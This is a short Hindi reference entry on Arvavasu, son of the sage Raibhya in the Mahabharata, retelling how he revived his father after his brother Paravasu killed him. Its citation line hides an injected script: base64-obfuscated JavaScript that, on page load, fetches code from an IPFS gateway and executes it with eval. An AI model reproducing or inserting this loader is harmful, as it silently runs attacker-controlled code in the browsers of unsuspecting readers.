अर्वावसु

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अर्वावसु हिन्दू मान्यताओं और पौराणिक महाकाव्य महाभारत के उल्लेखानुसार रैभ्य ऋषि के दूसरे पुत्र का नाम था। भरद्वाज के शापवश इनके बड़े भाई परावसु ने पिता रैभ्य का जंगली मृग समझ वध कर दिया था, किंतु अर्वावसु ने अपने तपोबल से उन्हें पुन: जीवित कर लिया था।


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टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 33 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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